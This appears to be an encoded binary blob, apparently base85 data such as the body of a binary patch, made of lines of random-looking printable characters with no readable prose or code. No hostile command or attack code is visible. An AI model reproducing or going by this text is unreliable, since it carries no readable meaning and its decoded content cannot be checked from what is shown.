z(oQTWj7(k?ZqmlSR4FzVFKw*qQ9nBf)Q8~)p;P#Rq0VrzdBKpgHcp!4F3Ek#Vda1? z-b4`JQhESx-t1LU`;xe%bm@ncA$Sic2^YVV_QFypCF5ZmV-y#b;?BiE*kc^BD$uIr zvf*EZmp(-rnqF2HS%noW-qkn)wNJ|mBe?oY>M#GoILILDJEHeH4C@lrqN*eDY`sNn zS;~8a*0;^tj=&Z&*BQE6%_{pR)p8{Fb>~Yf5MW+z8mWCv)`rBv#jfHx#N~~e~Nc~dY zgJ>*l3nilI8%Sk8Yi`(Dx`8zJJEkrn5}KgK%lOtdV{HiTs^M%=zQ*E&nzbnrDt#WQ z^j+Zw&X72Hn5@$4X)k8V06R(9bX}$I@}Sa}QnC)?Y?nL8S*4@OS*4p}ZPrFNkRqpz z-H{iP6ghSxvm!^FlKQy?Ul_a6?CldV+Q)1jyL#V{M!nmc#8UOW%}s0`8{lhG_PgAa zy;H@fQ}&{wq3r)2UivccB5+ssm0mY8kBD>E!!aouv!_+|=NWh4{h7P{T5HVSj2=WB z8uSrA3AKL!o`v5J;SvVGRJeoy+5wl?Sx^pTevMv)jz%H$kZS;cMA%zAx{(_!gR(Lf&r%mpPf4Ldti+%194%5Q86y*EYKY~ z0s#d96%9tm6%lY@F%Zx+ZDy2l-$!v2M@43w1h=dx0bCM-4g!uWE^I0;BcKTH|G%fI zy1G;8Bz!aTzVAINzjU2C_ndR@J$K*EosCn&v>mN%1sNv{mCXUex(P^T*K4N%cwLy9 zq367?ngB>a3~6k@XPg}Lr*HL@O?oAF$Pw)S*GH8(rIqRsT$!>D1lxDL)u6>)snEd> za3zpJ1g$61t*-n^R(m#`9^3$?F7-P4Yrm|fc{z*TPv42JO(HbA_N(ijo{WlaBNs;- z`n~7PSUbz^5AdX`W>VHLX}s%uWFND2fUVxL$*F13)IH()!7lrL;raKgc=$S@s+id2Nq4WzZQp?ecSgS@XNBhfOBGzc{42wJ3O*Un3(OF%V ziSxl8)%;CIJ>XI8-$gi=m!JNPx9oAwwdD@^jP{#z%cjTpj2Ua6F$ZlnmXTBXEL+5p zLDy;CV2!U|wJ)P)Ru^xuX+?~x`aQu_yOz`AVBPC|@K#87`BW|cE`6Hk4q=to?#j0qt>6c^0!3(*_9O4!(YIR}=l74? zh9(PNaX7J$J9dud0v;|sq(fVCzgTu<1GVd*h6_s@gEitoE zo_J4?cA|b(SLRQxM7b+g?OK4$$s)zG!b&MD7tKplPpw3;K;2=py=E)Mg(oaex!N2+ zv*OgzRGjwIRgocM^_+w%vS+NG*D+L1+!d>hQo@^p{tLyV`ISFbg{7Bv<&U~(L|tbz zq*lAlNYkz-=>9*Y-2XNC{y0swo|U}BMY}4hS}B($0G;J`VkNf^Rfp=)(ul!!*lp)+ zxwujZ*HO?e&IF#UpF-m}u#jVUrP5H-9SbU%xr~&iEhnMpEOv3sH|9=@TuVwq=@6qh zyj6UmYN%uID|RonRfL;Y8z3O3zzVxbZ1tfH3fJ8FyVGvwB zAd$=iErRQYR#%`w26R3kk-P?wNInm%PeL~ikk|m7Zs3A|q_6*uf!hp7q+EsGh1}Hi zC?Jut0+2}gz`*SUBvSgJ2OxB38mIMZ0g05*Y5l9sr}cjwJN!C!P+vA$q} zx8`7q*Iw@nz!II$=_`a~ARXg%*1;BZtgjG6+fslYY_InOoWNx{e1$%T8S8Zr4SpZ^ zL&RQUTy%1Up<#;HT^Z|hS5fp}h(4>xUJoP05MG%@ye~G~!5d2#2VLl|iG@B_X2sDZ zF2V)YbSn`ixG+#=9_3FWT@oW)63OGD3qx$?QOIOECr7v>*ZJI)3HWEA&q8d@K?>mi zz&Ww?o>By$GA{-{o)|a-t(-w7&R#m@A&Q7?;7Z>HlO4$rD6X>`s z2azZsK_-oXbt4v-!!KaEZ>Xr)DEfH>dS*>7M zjc|kga(8(`^)3XpJhph7JJqd9DZYF$_{oZaQ>q&dM0<&1jLWlP!|+7;?8Mu{@I?72 zI?EA;C(74>_zq!sqI@*_ofQ{`C(0L3e0&(5C?B*{p5+X~6Xi=Fo>2>hpD1duJS#B_ zPn0i-_$1&BHF$|)ja{DQ3Zo~=*OB;+VR)i^s1?hzlEd&s`P{_2!|+F6TH4l>r8jHJ zh-u!GrCT;-#9B0E3f;UZQ)r8(EWM?sOgUIKW#WQN(yS>H7ptaBT#)dUSrJW{xL7r1 z;-VK1b5kZR=B7-VFw}Xfz8)0Wl(8B=fa+4J+(9+G1%Oqh-jrFmhc#su?qN-tg?m_2 zX5k*zlv%ikHDz?yn~MYIsPH#y%1FcJT62%mlqvqOrp&_su%^tyJ*+9Sa1U$BEZoDI zGP*~^FG^FU!hiIIvu#b8Q8fzHDxNRtEQz{ zQzoUrx+xPk>!wWHteY}%vu?`7&AKTQH@&QeH)Z11yeU(qlvQtdQ%1B^Q>O41O_{=5 zG-V2J(Ud8?MN_8m7EPJLTQp?~Z_$(~yhT%{@D@#(!doj-Nk#Q(Pb;5v%A8E z_jdG+9C&|*?@R(;u#<)NP9g~GX735_y+jcBde1EMib^S>+*X>q4ed9+w&N=k?;ZGb zlu}-KCf=XpGp;oE3x4ALB|e>{6keW*_bz-Umger}C*FJT=_;j9<(YVYh0o;D+^_kG z_cz{P?$*4(!jIJuH<-JV@IIx1{C&ou%#u|pm(;m{m8tY=(SMe0BrPNaQUPfZyl^md z?ycGGfaO)Mz0n8N`|UMK^*rpXlzx%=?Juey1;O6n0_DF_f3XJc+%*(V;-Zp4IWQ>} z`~XQRHHrn=yDI^t?g}LZnq{IWYQRXC1-uF!Ak(H;gONN+4A4v=B?vGQX~B;|&2%c( z;IDT*52U+Xc_1mK6D+D)_CRUXa)L@<$q7tfNof{aEzwbO|6A$%->XO+Qjy}-Qbo#&m5G^2fE6h# zR3@XUSy_?B0ih~V0u~i%j8>82&59KDDN~B|Dl1aER*~Y(iWJo=Q-{?oE7A^HMT$2o zQq;DpBE_2(X}ngE;(b&FEmV=_!h|)dN48z|nw+3({-X6W&ScY+%AYQnJe)a{Q;hk6 zyQ^7M*YP7aaCfosQG~Bd<7;^7-D+1r9R%Z=4a!z`Y}g@x4P@t2?CJdJN!bPJT7cku z^7{e{>qQQ(3h)Td6IfUp!nrFHA?6JidQI4Jh0Q8m7^9Hh`89lFl1AFxdU#tvAN%vC zlk(PwJ0}7$-hjthmlH_H3HTiNcjDhwR|Ew9eX;y;@F$KxPW~kF$HgD?#8!5qFYfY2 z7E)W?bo|hQumer^b!uEH7*YLMLK1Mfz~$1o*uaMSH7Ah)3$8`j z)_DSp6#)!LAa?F56+LVo0f_iv^N5n-uA&IHM9|$Vg2+>yz~JFX02{if5qH%B)g_D0 zwS+X}VM>vh8Rkq)SLcKRL$GbPGQ<1V$X~>DuXw}$c-B0#v!u>QSD$--IqEM;&dM6O)r+=KE zUY}D|aO21_M@*i(($&N3u4L-gV;X|8;!z-w-*Ic|!Q#0I$mPfdNA|?~GS>RsqtLxZn3J=mqd_)Sw>ex}SaLQ)cD2P=O;FuM1bbuoWy{OU3j3MO6sRl zPqWf2hq!d03umzkI!MZtW_1u3Xswc3tJJgxX>sBbPZ!Qy6~ya2@!|qqR#KOhdJZVf za*9g=T{v4+kf8Gr_b0=;WMyA7x#!Xd5$3@FopCK}KT1NyxIJ#Rp@ z2DHV1el(y?s5Hb6?$Ht`$AD-NP;k6GMW7`HgsKc3kG3yPsaXlXU9B8*+{PMg3V-^m zYHT(l?!!&9?&Yz*7(iTGU5-X41{>f?R;dLk58OO4=xk*<0D2srm`rpgvz+{J;se3S za`D5350`LZjTtM%38=S=JTag|tBaq!SV3^Q9IYua4h_Q(4`!9B^5QfMKOi3%r-o5- zFf&w@m#AU*0dIkEX&8QZFuPNgm#kr6e-81;4{l;p&?!H?fmT;~cmwC8`pPn6q{Z=- zO^orC-5%>Jn|{ReI`+AROtGL1LP#pd#T;=jZ}gS9V!UOU4%_IT-Ibk(yDJ?%bKJ{o zb8MN1+?9U&Aw~EL2yLT(0U}-yhZW+mkIm96-rzads>l!^|94VhQ*D$tFekN>N?4;u zX|z$evhpB%l-`;zRgcnZKM2Ec+9j53qdr8|f^_#n-iX1({hdnOj>t9WO8SFcy${2l zn=e@F9kSM&z7}6YYQ5<&-&UXR9?>a3(A6Kji`@o)5IswDs)f47in=~OFcLQnp>5?J z%T9Iqg=mtx`Y;RAk{7w|5skURB9#bxhtDx*cztWh|+QPBi@p4VrJq(MI+y~ zrw&EI;@LIG*!$_N9pqg6Me(b`i@Fa12k-&7>2Dk?os$rE0w`S&oE4O zk4oT%m|&j6GmI*0(DXiy)$iGSJNdZAD%z zFc`#=3cmqXs}*?;BJo4vM8cbjyf`B910;R}-Z&ziMB)cX{L)(>=?ezIMB+E#MHO3- z=OPk6K;jqSAu^dr`~ZpHfLE>BqdE-eD~5Rn(7VbppBn}YJZSRKVL57#B~ z>^h2HY#z$<96E|$94AcUc8Rt7n_mtJg1IQ;o{0eUV@I| zmj_WT&(j0Xh?je~-jJ81Q}K(idN#Sc%(CHl462kQUjTK@B-SotQM(jKYh33U zb{sCsbdR!QPzPYxBxrLK(h=h{^$9hNLRwm~aja7iYr7X*j0|=hSeV*U{zaez;6Hj`l_-do$J{%Z#c) zmXRSH`l9agu9yx$w*~pFe4Qt_Mh*EB0l;Z&jOM10c`+Im6FrJUu(2A}9)?8`P!cfl zWuiq9P}mM(SlGfA%f!(wX8M2p&8Nk|C8CTLhp*qCVbxFv;QlQddP zo|$M_6^-qvp+F%q?x@jXQpQBf3TdPps2ZirQEPHb^VEn8GbZ`~Bh(L716S>eL$AFi zU$Uw`dpU;{kZg0i8WoVg5LH?JFwBV5``javya8wauxuy#nc27sRvT61;6lv7xk2cC zeSSu*$33DUfW9vl_Oc!N_h_h}2&aL7-p0Co8S7Dztj`IImXSs-Djt#Mu2_rG40$zZ zl14NXK_Wiko*f&)jb`nmknl(+gjX6e&V*!*qbLyqgOYWPLMED!tYs9^WkMn~D#j-J zG8$R&t;c-wXc>t33lVixE8alwRL^Vd+aM`66@_{?=-4>yS`|}|ss$wj6o}i1`cm%^ zU&*eRnOnTU-l_i!h7MWn8aiYh&CnsMT|s4q5FUI%Ktf=pZcZ z8afC|yM_+J(ypO{u(WIFAS~?~Ita_Zcj%Dy-yJ&m!-o$3h@pc&eCXhh96Eqr_2G@7 zgTMLE!QXu7;I|q&KsbB!tQSK=2fx+O0lt!w^sgF+z|rlEsEg%2GRDtzdmP~k%dg+e^bJqh?xLkET8S7_*+0a2@!-o!8 zEe;*BS{^!x6SHcwp@TSC4jsga*|yoxL7dpAHyb*LljYDsoQ`(rfM)K$Fm&*Th7Nv< zp@ZK%bnu4{9sK5@gFnj9!QXu7pimJ*2f>989RwFXbP!zl&_QtFLkGc`hYtQ$h7NwL z7V6z=W9UF+^Pz*nHXAx9Y_p+*!ZsT^C~UK#gTgi&Iw)+jp@YIU8#*X#v!R2+>TxrM z4hq|B=%BF8h7JnbZ0Mk{5km+6e`@HE6&gBZMHxC|MGPJA9X@m*A~bZ!YIW$4WifOh zuG!E*AtQ$l3K=~s8h7Q{Flj)3;8t`G76O&Jzj^gZ- z%u#SIDnB&)^sv6#&|8}ey;jXrysM@`Z9~@hg2$=J6K@qpH+*OsXJ(wYTnF)Ij2ae3>n2+n~o!*Ci`ww6vh%b+ti8|Y>=$TV zVYK04^#tH?zqoG;7Af_AJHbWB85&FB0Zr6;yZ&ZT})A;_u2=+arG&*u~!r6-4x zhpQZV$wTv-kGqf38-}cTgF|bxEh)^@*+yYC&+aWbfPCXCIf&etzi5qQhJz|IWS4e} zRU1h5#LWC)Qe9iu2-J2jDJs~B=3cm2%7uI3iwFZ}N6u9RPC8&+1xxyLQF$K6oN^5wkC_MCnR0^{JII4t9or2IX&zL8a8lyv zB;vH}KH3QxYG;a2yFU2|qw?18|{=tjD8V+F$KuBg_72_4H8DxCyt`c>E*5kWJW z`P1VFBSP@P1&wB|^u&b`#Wf>hUi3J_h!C3yNz8$s#4w`7W<<<)9(LVS+*H63`3OnO zZJuNh)iY->uGqpLMBgGg5PvLlASWp;m2X^FO(j)Q0p*60Jf+~n$zaS;k^nwcVrNM> z#b{0-dt%KbkwU0MoDVjW*dwLbNdi5GJffP-L7|p$O4v-&A(BKLBt}Anq%a-Aq;Qvt zC*DjFA4#H)6CEGDh$P_#7A9p#3R5yn3U{)2lFTGYktE#G!n6)a zVN!=lK}zHFu$iP|B#Am;jLZ;{!n_bBg{hCbvE1eLNNFZ}mRloXcEPCCUB^=+)vO$N zS^-BDyx71dJ72v4wIvi^YJn!8cK6AO!GC0HDe~NMOv^gG`#;7pvh%&^+)0O>qgW#1 zmZIg@_7Rj_q!9#>TT5$Etrf$DfWEb~Uf)`pjy-e-u(h<7TT5%XwX_b~H|snBZudkp zJCa*VL9Oqd?Bi{bLy>?B4KDT@2$xb5x0bfdMG|mfBiu-CEu~*v!U)wE;YS{j9uy&H0}h8)SQrOHpX@~wna9b+IT(j1!wbWTmV(c-8wC^=b|j^x%- z~I^<+)gk>SkPqlG0EJe(Tiu72bC{(Jpd26W(1-6zR zP+Lo@kqgw;(ps#v)p|;8zius+&3o8^$&D1o9?M_1mj1f6^ndf#QeM*JuyJdtK-^j? zP_+SZYpLK^-w4F5r2=tlsX*LXDiF7p3dF6Y0pK-^j?5Vw{J#I2qaSot;0 z38-^7IN_@AQZNp=s0}NjZBeakEgfjuS~@UdYw1AK*3yCIt)(F32t~G*4z$`@IuMg8 zVOvWFHrrY{P}zRqJ|TT;=|Jv&LhDD26U|AHXCT)v(5ew5TT2IW`%l=`(t%vL2-{jZ z(EFd*TACKIwKOeqYiU~K*3z`mEpIK&4SsCiccLsxp{eF(HebyS2RD`a?dS~>Q=eZ} z!U~=vSl-EifvbC=3%Qpg*elcs_6eZbfee{#4tDnOTm+wDUq=1RMC^o_iOygB9(F9& zN(U2T-9M_18O>4A9h5VY&_e_XdyMFVX7SXLQ&~sGnI$jH zFsS-Ig<~8#9r|;P;l6?p29yee(jOe-j82J8<{wo*1D374^M6u)cfchD=0HMXmKq@= zl;{?sH==^c*^6eubfW{pK2lISIW#7g{*$zMNJ&cr8&wi3ca=md3NZ)HL3Z@;9uwD! zWOffl3m{f%h$5Li!l2ew8X^ZZ)G>9Dm5e!@ zdacjafFYG_BxY@5)T|A*3DwVxUkUZwRQ_V-iO()|$fOOnS2w8bE3N1H!IrsxpPuVS zXt{o#%Js*ihHN?4b0dfM4TOkKW_TIE+&jvEeO;7dfF)}w2KG9Z1n%rmM}@d)Jz9yt z<{gNhUqeqJzSV-!oW7OvVZqR1F~Oao5(yZ5WpECt!lHJlAibj$7{ilH4j~Sq(Ry?g0CM%xS%9IsPYemb7CrSx3C6Chc0V!v4Fd|gel!@?`3mivnHQthH zrf*oGdshiM+R0KLb!Q7Rfj@m!fy+km!}KVoBw}EZ*$4YD0C6$}+s7~`i&g*SF&J>e zLJU@4mg7`PfV~Db=pe!edJWvAyF3dU95cCfx(b_+tE6G)#%au0;>Rb4QPi$!SU)62 z4x^}j4^>(0B>3boirOy?Q;5VkRgXdKc&N%^C&8x)Ry_uI35*;@QF|RQe@KiRM&aaP ze)?KpSr*Qn)HXY4;yoe`xl%i88s?O=&%cd>Tl5obuWZk=}2@k3N}s@4CC)PL@U_c3vPig7Rc93|TyjQ6~b z3}o}XmV#g3eykL2!uG-<{Q@Iju)!0o^EU0qKzh-7%!^?{C8weBpdY5W3pdW(>VqRr zodoRu;0Pz!!3!49dxEtdod=`soCc4^)G%{1Ppyy%D-j&c%c+x`U>`jYO>#;*H@G=B z*yst?o3_&Vf=!TY3J+yBH6F~tMZLjIGq>iXV{WcKC(sp~Il;>uzWq%Q6WWT`R{pV= zZKnXlNeKw)qgDTN0%Nf=V!X?@ADbN+8eed|Qb>&_y;_urJ;pifJ&gx)g7yC3`k9+^ z(%0q$FuN7fhSyycFIwePFJ>%#Ow3pOTwDACl1lDxGDqREjHNCGdU zj);Xoib4|SuuQg_vT8)KaGLWo(#98TRN152lU^s;qZ-+x(bM=dZsGO^*UsFGM687ntd)f_h`$Vr zis?VUf&Pt6@`us~4p`^JAI`dh>C6v*zP|)qEW5S((WksG1KLg5f50 zWRp;JiRvY?`B=}EV0~osG2ZF!gAM?i52-Ct9JD5f#R0XYFjcepsE*Qn=xqlZj(gf# z-5bqC8=IF<^Uykj-X2gd|KrvmvMFe-JX+NMto*~$r%laAsQN!jexv$7N`9mIKT3Y1 z`aep3qxx?zf2jHgXFYR4s5|l>tNvN-tBSm}3=*nvO%*=5+tj?8xQ*&wn0bt?_3lN8 zKUCcx9lxo%7XiiX^WPh)?vIW?RNWsPf2g`|AAeYNe<-}VSN09jCUu~m*sT-rwL0U%gHe+cXN#Nw+$5>Cw%WU1MtLTTL?7devbfoFej-dEMT!(O4F(xg{O5 zg3|~1)2r3Ak90P%JKBYdKr>@JiEDmr#L*XJ)@4`S_a66+I5Sg;VaE;lpMw9(@jq=1 z&g}20FLHm%`z&qWyYFz;-44K&z{&si#LY5dK(;$p0~xE-mSd&IX-_M0QgLa)9O8e; zoZ3!oBBHId7VT2*)U2m%$F^z1dK%49entd=y_#LhFNm1}xqx_toc+-9w>`}reWtZ}6e8L{(m;C&{ zXP1(5-DbOmJ9WF1NR3Fll$>scs$o~KqF95GFuL7BrcE*DjX?tAcDmg{rjTx~5{abS zrDQravrE~`ZXr@lvs=i7)9e<~@SqqgWb$ct3z34F-9jd!X19>m2*qw8lTx!=h}6{V z7BWFK3zjrdD0T~(teV|Iq^xGQkcs>6u}g_nurxK7rIx;AX{5T@@)s9LPS(4*#n35d zuLi5BlCElzq_Z*ur54OFhowGz!7;imD76HZh6&!z%6yZyu5MEwJ}hi#h)l8j1dK3p za!aSt?L4V zbYiiIIKxg;rr2pBPC`REvCc%CVUsD73uO#qWoN@^klGkqIYzg=l!+a6aM!{LyW_C9 z#BbfsQYP#y@mteOX(p^I@msg4lnI+k{FXR?AC{E(t=mt^g#9FbYkDlrgw-T|>$Z|I zVJnH>5;yR}LK44qyGWU^i^OkD>!q14`R*twRhkJKNOYGtgCCZU_^sPJ%5*CgTmV(` zPB(|`G6R}vKzAC@Lk9GM0o54L1_Pq+BJYp^bwYXyF4cg}G9bSJU2Z_r45-+ExTq~s zo-&|U42U<;iED!aZ8e~M24q8Ag|3qUr5Mm)1Ijd@(FW9(Ra2-GxpO9Bh61;SDX1r}!E#Js*~3{oKyyW%pjLaBVxw#$Va zu+oA}HsL|Qu3kCw+)@xQ$88xYlu9S#h%%Xn!~9ybu{lpg8LsM{k359X!imcyc{ti{ z;l$ODJSfV-iHjb2q0pH9;@Umc1><+7LLASSN=7 ztQh13o3PBGH{@c%U@iP)ec@9H8bE@2O19gxgN{F<6NUU!vop42D~@1d=a2 zWn7LD>`qS^SGnY4w+Aaj`p4cfoY2!8zTWj7Vxqzh>jAxBIo#xR7EnFVv2NzG=CGab z<6yv;{%W|-=&c5SPG2?n3wWx5UxM7J!3?Di?*h3F?=H*M!95^%Y2$AcFg!XX z7gTwb7rK)nBu!0Kg1r);?`+P;Oge zTr@gFMQ&Id)4{;u)VSQL#^`Buam4ZH!c?qOTFmO0IF1Msn z2^t-AAUC6pNiuLaJ1)1OQ7;-D)FL;ajp=CMaC%&BJ)^2LI;=j+O=n}=2F@)9n_3;; ze1NRXJUE#@VlHw%@+NX23xb~U@Qtg;m?x11eTAAE^59l(ipREp1+lB6$T*S!=n||P zITCS5@vX>i9E#xDJOyVm+bIcffCzlVX)erWN+4aBy>Qi>@Gx5``E+4+!X1FHG`vfXA~WS6jKByO@5obl zroIX!M;C;X1TTkG1V(Uqr=6mg<0k^kITL|-{J&Y{rqyg(^A@#oyTw$wh1l9$xe5D! zqH;rFM&zk{nWg21FBi&MqFg&MqFg&MqFg&MqFg&MqFg& zMqFg&MqFg&MqFg&MqFg&MqFg&MqFg&MqFg&MqFg&M%=%#ayy`HKJqpJim2QU7?m3! zy>cU{Rc-_$Dz^j3T6*P1*r?pphhDj<5500zAA04cKJ>~>edv{&`iQ994umQy;Z}y>cV0S8jy$%8jsIxe?YYH^O@5Mp&=h2?U-lscG>t0rV>&U`SPmh#Y6xfjN2U8qT__rzVxxk0p3$9YP&os#*=>RDG_S$^xR-S}Y zxoF)eu}@19J%L`H;KQ81+a=+Wq$Ja&!{a@Q?F z2%oJ(2$48`o{Lj!X#N;RcS~VJKJ0}$>|xFptFz}NJKWa6q#-```XoX)jExvYA!T*> zFejVUne(WmtVAXHkc#+6k;L1eD=Mi=oh^sD9_9{ZC>H9nR;;o{ zs1BJc3kR5bQ08gPyBN^n>Y>h=m+XkACL2Queo*C~wIfPhvSAq}X&cRUB3o-zWwz@y zJ(n{Vuxoa)%Hw9u2tL87=;B*l>^S|lk6h7hYJCbl9ekwnpSK}pQC6O&t!B%8pHjxa!~ zrdyD?4Yr*}0nu!5&Ks^RlGb=ze;uJzli%+!OjF!fq zXlOJ}1C>k|rDZtnm zIF)I!k7ym{QCZPpw;S*xF;_5+Ij zr=w;6NwFU~TJ}TS*WzCEX6RbMs8@w*mlQt4Q_;?ooST`N=IWdd}qwe&+ATr zVq>wxrGsq}Ald8k44?$y9JcKS)EAl-+!O<9*#K0l9qk1W!cZ@afe+05($VJ8RLhPw zHu$5Xy{8QwZBU|TyfdPs?NMF#J~NKdd+uQZL;Y+T5LW$XY&}xluH7bSrhYc<3P+>E zC?KMr4S~{1h6OOJpKXU}8P(Oc4yC!Lje?a8<1ZDM|3_!nDzIqbL%nU1)0$3na-+vh za@y62PHyzNNlptp(aDXTH_2ITL?<_T-y~ z#ReXCL3f;`A-p@@f_qqJoDB#%*b2RiJvI$G{Y~qL7g9Rv}-X%k}8cFaaqT%XW$fPg)F}*6qqd`-OXw z*UYdCB8XI*mgQ)TitSt$+PUbm*!E?i?Tb#u_Am>Jo6)J*NM>QVlT=al$4D?&XR!fQ zGOe|Uyo}{-O^p$~biD;&E~c%hdevb^E;d(1T0S;)*c(KgwtasFZW+RAX^++q#abT) zKLrOvR9*j1sp~bXW;_&j1Dt%pp5E8F{Eg=hU+^q%B^zfv#jx}@4;Krq_Lez@_|xlP z+t2ULe`ilOZ}0=4x_Z;s;ar$EgKha6X4oYcGEmm@mfc;2WG?Iw}DeA$wf;g+Y${siHKc zqGEg%hqMIifcnv}kd~mKGMu-D3JgVA(z&akDLLG(R0SS$NbzZ*D$s|i3OSm~HW%~f z4bCeam53}Qg9W^q#@ieWs2t&7@qdF|^`i?1*^zFL5t(pp4+q&VX4UbAvXx}YJ#Cjk z_KR7gyutK8y0~!8z>|!hASb$*hX!hS2;m6jA=F(3`th;IOvKz_WFkvKoZi>&Y-&Jp zgWw~wp&OH8y=nHY2W$(@!__oR*pq~e+oX(y<$tsX^RnxJLLOcBI()&6H5*x?4V#RZ zEqhbdY^I{E>bS_634Oj;JF=v$iNS^`&0WY^y}E1V9lb((627tRK1U7Vj;Q1QU2})5 z;i>j?yEmh&&po`xhg==RO{~PxQYj25D=ao}soL8UBug+USc{`b8I2w|dIB&SJk}8$ z=?Ft|x_7J-SM!8pF^w_S6&&db$7)S1(%la6Xi9K45IxO$jLM3XM@94r3BmG`&2|+8 zd^e|1MJk((DoOCRAYqBgW{XM^ye&vrAhMkr3EmbY%P@Txyw>-|Ru+uJ*9M+PcZQKp26LqjA;=Bv{^CBtEnh1%48$)#> zPG^V)5Pc{?G@$k=u&XbUoCc9uP28%1dqj1j1ZyJB*Kiadk`k?nl*VbOQE5EMnuv2b z93Tjh%bEx|0k@9oL>;Y(IM0(!bB)ToWNRX>HD%Laqatz}L}7Z;Z^BV`H{rHO=|Htq z&4{^VT=(6Ax#W8NSmfh+eZ$?o=Bj4M=KLV$MX=DcX#K5jIkAWUdELY7&^zD1iFMBY z27g9%UYR3yy4@SpE2DhPbR^jN;=UbR?I>*PxY@8-U1<_@vm>tzix3u6zQT+ln?1q7 zs!!)#bmUfdPVgOn`f6{+em}#5?%Vt5z8&jL|3G!$_W9jeHL7^Ewz>v0M9k(3+$-*Xj+@Laxh&`+a zSM0M;0D6c}z+EH=(}C9Qnaz4wnR0G7yQ-gOvj$eSo!ie(*4eC{m9gjc^OJQp>uzO` zwEg^Koz03}nS*XWKUrt9)>rnS+s`lSc;sjI2IDSR@vXk~L=2cz=D+}9c#~z9g+mB- zkVAbN+}UH*3DT@fZ?5bF57a6j>Jyv0`~b`a-};LIeU`klJWd@x@fHdr z_#h4!ehqhc3&+dJ4BQ;3BXRAWCJeSabfgPNIYSYE@o#jT!aQ(S$;lJ+3B-#c_<@-4 z_R!(6z>e3>vfvs)0}q?BRhsWb^j@cjP1LIK+L@L>wg{#iC-K_37KTixhdtA(@!Hvz zK(=uO`EXie(83J)#^vL~VT-hCymrP#Gq(^PnM#~NL0>~+QYsgP59d`AelxE8{;=_3>-FP__Q<^Ooh!5wTbed*Lv*qgW;k;I2 zyqu0H&6Z2Usi{g$Q>EEBAcI@Khx0vY1)}vWff@|xa|2350*fnm)(SMtfW{cm?+l2$9EI*- z16pA~8w}`61Nzy3+z6%c_A{U}4Tu|g#q}}+;x%n?_V zaDo8e9$XTtX1ptuEMj;CmD&hj!ofQ+al~NWx?;e>kR=hP;TXmAL4M6T7M5cSD@V8i z)HBEx|q8xgr#K4U%R@5uu zAN4(oKmC-_e*wyeQz5u1Fpal$Qx0U`XZ=q3C8_i3dWj21+Mi{Fcph6I0Y;EM1iSH+})+{R3onJ zQm`mcKf;{`1y1j$@|mtQj6l?N=`o%`ynjSf6z)Y&O{1m~uwqt&1Ke2hyBz=1s%=Vj zJh;s>nBE|4h9LJ1S>+AnXjh|~HifC(%gD+4=-#~jKsAKeX;1wwM!A4$-3ybDm8oN~ zWSOX@E@5*&SYNWu{(SWe4AJ*=DLEK>GcMeA)bEKe^Be|H;|(}cc^ph5o7sybxW~F% zy*Dr})w!z{oqI*v4WvY@0K&s-8pshJ670Ac7yUR&Dfke8`H&0arjFLAa#E4F;(at> zIjKncESDy2X3vs?j+=3PPq$Kp$+e3H43)Rt=Bsbs3y*}<0_jE|J779tPxq38&YKg0 zHE?ox_c+TuTo`qDiWpQJ-j1d8)`@dcu}iE%V%8RFX2Gnuw#sHE6?L>lHnVY7Vq0Z1 zql*sPBAZ1aD_N60vp02z8=fn=d5fUqT`9T`GtlYPd%Bez>~wQHkI%#~VfGPn;!G3>bGpW~PKhJ| zp-RD4MDox?PFH*DBDp*XN|l3Kk;y&CIbA!nK_)T-C{=D~MP>&@8Q%t(xOk`*XE$l! zXek!i+38FX!zxCV?hT@p2V%WwB~{br#WvGU-XZTw|Cnc&<53mK8KVGd4mo4gHlq?l z7EnrrQHdd9N%}~ZS^~$J(wnQ{1wNptArWJk~vflGLaw$&8Zueo5 zVgGlpW#Y@bx(<`LM?8bp9)U5vJ^tWkZ{gbfej9UfHZQ%_m$7yxDnuNVHLUXm*Lv~Y zPwsNUp#^V09L3y8b4K9qx0&Z}li)5aCM$*i$w2H>f!L}7u|ox7Pm6(&W5TdSh*k#%LIhn2oG)ONaXRTtN_H~s9-_;fC2D4_>KHEM;~m$4a( zUYivfnhV#!|G;yMPT@C$&<@X`^p#9=L{z2rpnB~*E0WCHuh#qeh1vt7&iroN=QP-K&5QVdjir%d~=;LTCHM<;&=ZH=I%sfuT!=bmDQ8Dp!B9FZuvt8KqQnND! z^6D}#96R0{+>8Ff6m$O|cPs2U20tFM9+8n8ys}s&%XZ}9A?y9LOUdkvgTae7yBFTc zJ^|{3g>FO~z>F(Pen#!^4$z=0%Zu@sTHy|t=Kl%bcs+yf#8TSmEKh)4Jk{%|-^G1l5X|06*(FbTVRO4| z?o(wrj%`0kkIM4w?3KgY*HOLL;4jSM#3DU$MJTsM!4k?-5SWwnQ)%u};C?R6{ge6z z@GQO$mF6-WIY|KijPGAca~Y1DBmmC=i1n0$*IjPs`)7A~Jl`-ZT8?fkh*Ti&+x0fo zfk1i#uclIc{=m}Id+^pm?8i*#1Oypz@MA%FG-H6^d&_1r_+I?7;AiBn z1Qh4DZ(PWh%+c(#5Z{<`ljy><%Ts9La(ez)n)^I(`w?CB4PY6*48}wCYL)BOFf;C6J)&crFLLCtIUyjq!ya$@RX<2o?kX8rsSti z(|6&t>{e6rHRZBNm((Rgz0!i6hVGxVV5;c@iR6T=MzTPn8)PvP`hnSLUil zZ@JnRKq~^9y_&67*nomdF}l0Oo`5|FqrKS<_3Ko>+R~OH%0$=6k%@5`*0y5s;tG~} zW0^|5u@=mey`-PRIEslg!-IZ~T(ye8t+Z@}OX zh#b6o!fxxC5@+i&Bf-{XXuPe<=}DtW-bwpksJMvf0!V*2Sd;JyL|KEI`TkcEN6_F9 zh#Y4Kha<-3&?v7G)hKW7HaG+#$2p3lFUTE36_HKnpsUci42W?M4pKeeitH?rEn*G1 zOp}oRAs<98WxmvkTyIpplo_!Ui1D}}s$O{4i0ED*a*T_r7onqG1fpJqBT_F`vM08v zmyrJ7 zy-ohyYj6lej_DF>Q%=)4=qhy7s6f=HaFFWKR%G)|7rU)5c=+gYnbSi4hkOvZlv&t{ z+<6j9QyufPiDL<1$u|Nq9t)dsuy3V5e>6A*BFAFkaL3u)Q{!!Jq@4ToB$aYc!$p7Y zGdKkz=RIxWyx-syh@1}yCk_k74i+DtG?lpr3=Vg*L z2?wcYq)30PWHX+j)YIiM^+Ns&L?1*hWq#g@+~=dl@F$@ARmckJk zODoy0wiwHh{~;elZe%R2n{O)rZttj{D~0+Hj8aG2`$vrQ%K8G}P0a>ODGD8ZfMY@KJ=Y#pcC zkq<$JN9SZ&5&CWh)B})klIs0d{BVjN;NhdoW#mKQ5QrsI>`N zOl`#_!0OMR4Gw|Gak7M+erRol&Ouk9W2gmU&JYe#J%NAyv66jym|k?bKx)#$eGs{n 